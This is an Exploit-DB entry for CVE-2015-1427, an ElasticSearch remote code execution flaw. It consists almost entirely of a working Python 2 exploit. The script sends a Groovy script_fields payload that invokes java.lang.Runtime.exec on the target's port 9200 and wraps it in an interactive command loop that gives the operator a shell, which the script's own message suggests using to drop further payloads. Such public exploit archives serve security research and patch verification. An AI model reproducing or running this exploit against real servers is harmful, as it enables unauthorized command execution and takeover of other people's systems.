Exploit-DB #36337
Description: ElasticSearch - Remote Code Execution
Type: remote
Platform: linux
Date: 2015-03-11
Author: Xiphos Research Ltd

Exploit:
#!/bin/python2
# coding: utf-8
# Author: Darren Martyn, Xiphos Research Ltd.
# Version: 20150309.1
# Licence: WTFPL - wtfpl.net
import json
import requests
import sys
import readline
readline.parse_and_bind('tab: complete')
readline.parse_and_bind('set editing-mode vi')
__version__ = "20150309.1"

def banner():
    print """\x1b[1;32m
‚Ėď‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą  ‚Ėą‚Ėą‚Ėď    ‚ĖĄ‚ĖĄ‚ĖĄ        ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą ‚ĖĄ‚ĖĄ‚ĖĄ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėď ‚Ėą‚Ėą‚Ėď ‚ĖĄ‚Ėą‚Ėą‚Ėą‚Ėą‚ĖĄ    ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą  ‚Ėą‚Ėą‚ĖĎ ‚Ėą‚Ėą ‚Ėď‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą  ‚Ėą‚Ėą‚Ėď     ‚Ėą‚Ėą‚Ėď    
‚Ėď‚Ėą   ‚ĖÄ ‚Ėď‚Ėą‚Ėą‚Ėí   ‚Ėí‚Ėą‚Ėą‚Ėą‚Ėą‚ĖĄ    ‚Ėí‚Ėą‚Ėą    ‚Ėí ‚Ėď  ‚Ėą‚Ėą‚Ėí ‚Ėď‚Ėí‚Ėď‚Ėą‚Ėą‚Ėí‚Ėí‚Ėą‚Ėą‚ĖÄ ‚ĖÄ‚Ėą  ‚Ėí‚Ėą‚Ėą    ‚Ėí ‚Ėď‚Ėą‚Ėą‚ĖĎ ‚Ėą‚Ėą‚Ėí‚Ėď‚Ėą   ‚ĖÄ ‚Ėď‚Ėą‚Ėą‚Ėí    ‚Ėď‚Ėą‚Ėą‚Ėí    
‚Ėí‚Ėą‚Ėą‚Ėą   ‚Ėí‚Ėą‚Ėą‚ĖĎ   ‚Ėí‚Ėą‚Ėą  ‚ĖÄ‚Ėą‚ĖĄ  ‚ĖĎ ‚Ėď‚Ėą‚Ėą‚ĖĄ   ‚Ėí ‚Ėď‚Ėą‚Ėą‚ĖĎ ‚Ėí‚ĖĎ‚Ėí‚Ėą‚Ėą‚Ėí‚Ėí‚Ėď‚Ėą    ‚ĖĄ ‚ĖĎ ‚Ėď‚Ėą‚Ėą‚ĖĄ   ‚Ėí‚Ėą‚Ėą‚ĖÄ‚ĖÄ‚Ėą‚Ėą‚ĖĎ‚Ėí‚Ėą‚Ėą‚Ėą   ‚Ėí‚Ėą‚Ėą‚ĖĎ    ‚Ėí‚Ėą‚Ėą‚ĖĎ    
‚Ėí‚Ėď‚Ėą  ‚ĖĄ ‚Ėí‚Ėą‚Ėą‚ĖĎ   ‚ĖĎ‚Ėą‚Ėą‚ĖĄ‚ĖĄ‚ĖĄ‚ĖĄ‚Ėą‚Ėą   ‚Ėí   ‚Ėą‚Ėą‚Ėí‚ĖĎ ‚Ėď‚Ėą‚Ėą‚Ėď ‚ĖĎ ‚ĖĎ‚Ėą‚Ėą‚ĖĎ‚Ėí‚Ėď‚Ėď‚ĖĄ ‚ĖĄ‚Ėą‚Ėą‚Ėí  ‚Ėí   ‚Ėą‚Ėą‚Ėí‚ĖĎ‚Ėď‚Ėą ‚ĖĎ‚Ėą‚Ėą ‚Ėí‚Ėď‚Ėą  ‚ĖĄ ‚Ėí‚Ėą‚Ėą‚ĖĎ    ‚Ėí‚Ėą‚Ėą‚ĖĎ    
‚ĖĎ‚Ėí‚Ėą‚Ėą‚Ėą‚Ėą‚Ėí‚ĖĎ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėí‚Ėď‚Ėą   ‚Ėď‚Ėą‚Ėą‚Ėí‚Ėí‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėí‚Ėí  ‚Ėí‚Ėą‚Ėą‚Ėí ‚ĖĎ ‚ĖĎ‚Ėą‚Ėą‚ĖĎ‚Ėí ‚Ėď‚Ėą‚Ėą‚Ėą‚ĖÄ ‚ĖĎ‚Ėí‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėí‚Ėí‚ĖĎ‚Ėď‚Ėą‚Ėí‚ĖĎ‚Ėą‚Ėą‚Ėď‚ĖĎ‚Ėí‚Ėą‚Ėą‚Ėą‚Ėą‚Ėí‚ĖĎ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėí‚ĖĎ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėí
‚ĖĎ‚ĖĎ ‚Ėí‚ĖĎ ‚ĖĎ‚ĖĎ ‚Ėí‚ĖĎ‚Ėď  ‚ĖĎ‚Ėí‚Ėí   ‚Ėď‚Ėí‚Ėą‚ĖĎ‚Ėí ‚Ėí‚Ėď‚Ėí ‚Ėí ‚ĖĎ  ‚Ėí ‚ĖĎ‚ĖĎ   ‚ĖĎ‚Ėď  ‚ĖĎ ‚ĖĎ‚Ėí ‚Ėí  ‚ĖĎ‚Ėí ‚Ėí‚Ėď‚Ėí ‚Ėí ‚ĖĎ ‚Ėí ‚ĖĎ‚ĖĎ‚Ėí‚ĖĎ‚Ėí‚ĖĎ‚ĖĎ ‚Ėí‚ĖĎ ‚ĖĎ‚ĖĎ ‚Ėí‚ĖĎ‚Ėď  ‚ĖĎ‚ĖĎ ‚Ėí‚ĖĎ‚Ėď  ‚ĖĎ
 ‚ĖĎ ‚ĖĎ  ‚ĖĎ‚ĖĎ ‚ĖĎ ‚Ėí  ‚ĖĎ ‚Ėí   ‚Ėí‚Ėí ‚ĖĎ‚ĖĎ ‚ĖĎ‚Ėí  ‚ĖĎ ‚ĖĎ    ‚ĖĎ     ‚Ėí ‚ĖĎ  ‚ĖĎ  ‚Ėí   ‚ĖĎ ‚ĖĎ‚Ėí  ‚ĖĎ ‚ĖĎ ‚Ėí ‚ĖĎ‚Ėí‚ĖĎ ‚ĖĎ ‚ĖĎ ‚ĖĎ  ‚ĖĎ‚ĖĎ ‚ĖĎ ‚Ėí  ‚ĖĎ‚ĖĎ ‚ĖĎ ‚Ėí  ‚ĖĎ
   ‚ĖĎ     ‚ĖĎ ‚ĖĎ    ‚ĖĎ   ‚Ėí   ‚ĖĎ  ‚ĖĎ  ‚ĖĎ    ‚ĖĎ       ‚Ėí ‚ĖĎ‚ĖĎ        ‚ĖĎ  ‚ĖĎ  ‚ĖĎ   ‚ĖĎ  ‚ĖĎ‚ĖĎ ‚ĖĎ   ‚ĖĎ     ‚ĖĎ ‚ĖĎ     ‚ĖĎ ‚ĖĎ   
   ‚ĖĎ  ‚ĖĎ    ‚ĖĎ  ‚ĖĎ     ‚ĖĎ  ‚ĖĎ      ‚ĖĎ            ‚ĖĎ  ‚ĖĎ ‚ĖĎ            ‚ĖĎ   ‚ĖĎ  ‚ĖĎ  ‚ĖĎ   ‚ĖĎ  ‚ĖĎ    ‚ĖĎ  ‚ĖĎ    ‚ĖĎ  ‚ĖĎ
                                              ‚ĖĎ                                                
 Exploit for ElasticSearch , CVE-2015-1427   Version: %s\x1b[0m""" %(__version__)

def execute_command(target, command):
    payload = """{"size":1, "script_fields": {"lupin":{"script": "java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"}}}""" %(command)
    try:
        url = "http://%s:9200/_search?pretty" %(target)
        r = requests.post(url=url, data=payload)
    except Exception, e:
        sys.exit("Exception Hit"+str(e))
    values = json.loads(r.text)
    fuckingjson = values['hits']['hits'][0]['fields']['lupin'][0]
    print fuckingjson.strip()
        

def exploit(target):
    print "{*} Spawning Shell on target... Do note, its only semi-interactive... Use it to drop a better payload or something"
    while True:
        cmd = raw_input("~$ ")
        if cmd == "exit":
            sys.exit("{!} Shell exiting!")
        else:
            execute_command(target=target, command=cmd)
    
def main(args):
    banner()
    if len(args) != 2:
        sys.exit("Use: %s target" %(args[0]))
    exploit(target=args[1])

if __name__ == "__main__":
	main(args=sys.argv)